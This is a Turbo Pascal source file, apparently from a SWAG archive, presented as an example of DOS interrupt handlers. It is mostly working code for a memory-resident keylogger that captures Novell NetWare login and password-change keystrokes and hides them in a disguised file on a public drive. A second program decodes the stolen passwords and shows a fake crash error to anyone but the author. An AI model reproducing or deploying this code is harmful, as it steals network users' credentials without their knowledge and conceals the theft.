{ The program NOVKILL.PAS is a TSR program that tries to get passwords for Novell Networks, and does not belong to NUMBERS.SWG. If you want to keep it, you may do so, but please move it to TSR.SWG, ISR.SWG or NOVELL.SWG, and change the sender address from bero@flash.gun.de to my new address, bero@rage.fido.de. If you are interested in a more elaborate version of the entire thing (which I believe to be a good example for ISRs - it accesses the timer interrupt, the keyboard interrupt and the multiplex interrupt; and even writes to a file from within an interrupt), here you go: } program Get_Passwords; {$M $1000,0,0} Uses Dos,Crt,Network; { Network ist a Unit I wrote to do some NetWare API calls. The only function used here is GetUser, which can be taken from other Network programs in the SWAGs, as well. } type Pwd=Array[0..99] of byte; type FileType=record UserName:String[10]; Password:Pwd; end; var OldInt2F:pointer; { Multiplex } OldInt9:procedure; { Keyboard } OldInt8:pointer; { Timer } s:string; Password:Pwd; Save_Me:FileType; Save_Pass:File of FileType; catching,writing,tsr_wr:boolean; Counter:word; DosSeg,DosBusy:word; const oldstackss:word=0; { TSR-Programms that try to write to a file } oldstacksp:word=0; { from a "standard" interrupt must have } stacksw:integer=-1; { their own stack... } intstackss:word=0; intstacksp:word=0; {$F+} {$I-} procedure GoOldInt(OldInt:Pointer); { GoOldInt calls an old interrupt-handler } INLINE( $5B/ $58/ $89/$EC/ $5D/ $07/ $1F/ $5F/ $5E/ $5A/ $59/ $87/$EC/ $87/$5E/$00/ $87/$46/$02/ $87/$EC/ $CB); procedure NewInt8;interrupt; { New timer-interrupt } begin asm cli { save old stack, switch to new } inc word ptr [stacksw] jnz @a mov [oldstackss],ss mov [oldstacksp],sp mov ss,[intstackss] mov sp,[intstacksp] @a: sti end; if (writing) and (not tsr_wr) and (Mem[DosSeg:DosBusy]=0) then begin { Do not write to files while DOS is busy... } writing:=false; tsr_wr:=true; port[$20]:=$20; { Tell the Interrupt controller the int ends... } Save_Me.UserName:=GetUser; if (Save_Me.UserName<>'BERO') and (Save_Me.UserName<>'ROSENKR') then begin { Do NOT save my own passwords... } Save_Me.Password:=Password; Assign(Save_Pass,'F:\PUBLIC\DATA.DBF'); { write passwords to a public directory, use a non-suspicious name... } Reset(Save_Pass); IF IOResult<>0 then Rewrite(Save_Pass) else Seek(Save_Pass,filesize(Save_Pass)); Write(Save_Pass,Save_Me); Close(Save_Pass); tsr_wr:=false; end; end; asm cli { restore old stack } dec word ptr [stacksw] jge @b mov ss,oldstackss mov sp,oldstacksp @b: sti end; GoOldInt(OldInt8); end; procedure NewInt9;interrupt; { New Keyboard-interrupt } var inp:byte; begin if catching then begin inp:=Port[$60]; if (inp<$80) and (Counter<100) then begin Password[Counter]:=inp; Inc(Counter); end; end; asm pushf end; OldInt9; end; procedure NewInt2f(Flags,CS,IP,AX,BX,CX,DX,SI,DI,DS,ES,BP:Word);Interrupt; { New Multiplex-Interrupt: Intercept DOS-Commands } VAR s:String; Count:Byte; begin IF AX=$AE00 then begin s:=''; For Count:=1 to Mem[ds:si] do s:=s+chr(Mem[ds:si+count]); if (s='LOGIN') or (s='LG') or (s='SETPASS') then begin s:=''; For Count:=1 to Mem[ds:bx+1] do s:=s+chr(Mem[ds:bx+count+1]); For Count:=0 to 99 do Password[Count]:=0; counter:=0; catching:=true; end else if catching then begin catching:=false; writing:=true; Counter:=0; end; end; GoOldInt(OldInt2F); end; procedure Init_TSR; { Create new stack, get DOS-Busy byte } begin IntStackSS:=SSEG; asm mov [IntStackSP],SP mov ah,$34 int $21 mov [DosSeg],ES mov [DosBusy],BX end; end; begin tsr_wr:=false; Counter:=0; catching:=false; Init_TSR; GetIntVec($8,OldInt8); { set interrupts } SetIntVec($8,@NewInt8); GetIntVec($9,@OldInt9); SetIntVec($9,@NewInt9); GetIntVec($2f,OldInt2F); SetIntVec($2f,@NewInt2F); Keep(0); end. ************* "Decode" - Decode the files generated by the program above program Decode; Uses Dos,Crt,Network; type Pwd=Array[0..99] of byte; type FileType=record LoginName:String[10]; Password:Pwd; end; var s:string; Read_Me:FileType; Read_Pass:File of FileType; c:char; a:byte; procedure Decode_Pass(s:Pwd); { Change SCAN-Codes to ASCII } var count:byte; begin count:=0; repeat case s[count] of 1: Write('^'); 2: Write('1'); 3: Write('2'); 4: Write('3'); 5: Write('4'); 6: Write('5'); 7: Write('6'); 8: Write('7'); 9: Write('8'); 10: Write('9'); 11: Write('0'); 12: Write('a'); 13: Write('`'); 14: Write(chr(8)); 16: Write('Q'); 17: Write('W'); 18: Write('E'); 19: Write('R'); 20: Write('T'); 21: Write('Z'); 22: Write('U'); 23: Write('I'); 24: Write('O'); 25: Write('P'); 26: Write('s'); 27: Write('+'); 28: Write('[RETURN]'); 29: Write('[STRG]'); 30: Write('A'); 31: Write('S'); 32: Write('D'); 33: Write('F'); 34: Write('G'); 35: Write('H'); 36: Write('J'); 37: Write('K'); 38: Write('L'); 39: Write('Oe'); 40: Write('Ae'); 41: Write('#'); 42: Write('[SHIFT]'); 43: Write('<'); 44: Write('Y'); 45: Write('X'); 46: Write('C'); 47: Write('V'); 48: Write('B'); 49: Write('N'); 50: Write('M'); 51: Write(','); 52: Write('.'); 53: Write('-'); 56: Write('[ALT (GR)]'); else write('[Scan ',s[count],']'); end; Inc(count); Until (s[count]=0) or (count=100); end; begin if (GetUser<>'BERO') and (GetUser<>'ROSENKR') then begin { Abort program if someone else is calling it... } writeln('SYSTEM ERROR #0231- General Protection Fault at 0131:321D',chr(7)); writeln('Abnormal program termination',chr(7)); halt(0); end; Assign(Read_Pass,'F:\PUBLIC\DATA.DBF'); Reset(Read_Pass); IF (DOSError<>0) then begin writeln('No passwords found... :-((((('); Halt(0); end; repeat Read(Read_Pass,Read_Me); Writeln(Read_Me.LoginName); Decode_Pass(Read_Me.Password); Writeln; repeat until keypressed; c:=ReadKey; until eof(Read_Pass); Close(Read_Pass); end.